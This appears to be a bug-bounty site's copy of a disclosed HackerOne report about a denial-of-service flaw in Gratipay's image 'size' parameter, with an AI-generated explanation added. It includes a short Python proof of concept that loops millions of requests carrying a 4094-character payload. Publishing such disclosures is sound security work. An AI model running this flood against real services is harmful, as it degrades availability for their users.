Skip to content
DoS Disclosed report Beginner

Application-level DoS on image's "size" parameter.

The image size parameter could be given very long values, causing the application to work very slowly; repeated requests could degrade availability.

edoverflow Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Triaged in under an hour
  • Fixed in 4 months
  • Disclosed after 4 months

Summary


The size parameter located on images is vulnerable to DoS. By modifying the parameter's value an attacker can cause the application to work very slowly.

Description


The issue is located in the get_image_url() function in gratipay/models/team/__init__.py and can be exploited by replacing the small or large values in the following GET request: http://<GRATIPAY INSTANCE>/<USER>/image?size=small.

Python
# Images
# ======

IMAGE_SIZES = ('original', 'large', 'small')

def get_image_url(self, size):
    assert size in ('original', 'large', 'small'), size
    return '/{}/image?size={}'.format(self.slug, size)

Link: https://github.com/gratipay/gratipay.com/blob/1985e43033edd87bd16cdb46c16adbcda0bb6bc4/gratipay/models/team/__init__.py#L312-L314

How can this issue be exploited?


Repeatedly sending values of 4094 characters in length will cause the DoS.

Python
import requests
payload = "a" * 4094
url = "http://<GRATIPAY INSTANCE>/<USER>/image?size=small" + payload

for i in range(10000000):
	requests.get(url)

The original report as published on HackerOne, by edoverflow. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the assertion checking the size parameter was not enforced in production (assertions disabled) or the parameter was not validated before use, allowing arbitrarily long values to reach processing logic.

What the attacker needed

Access to the image endpoint; ability to send many requests

How it was found

  1. Identify the image endpoint that accepts a size parameter.
  2. Replace the size value with a very long string of characters.
  3. Send the request repeatedly to cause slow responses.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web application lets users request images by adding a size value to the address. Sending very long size values made the server respond slowly, a denial of service.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by edoverflow

View all

27 more disclosed reports, best first.

More from Gratipay

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.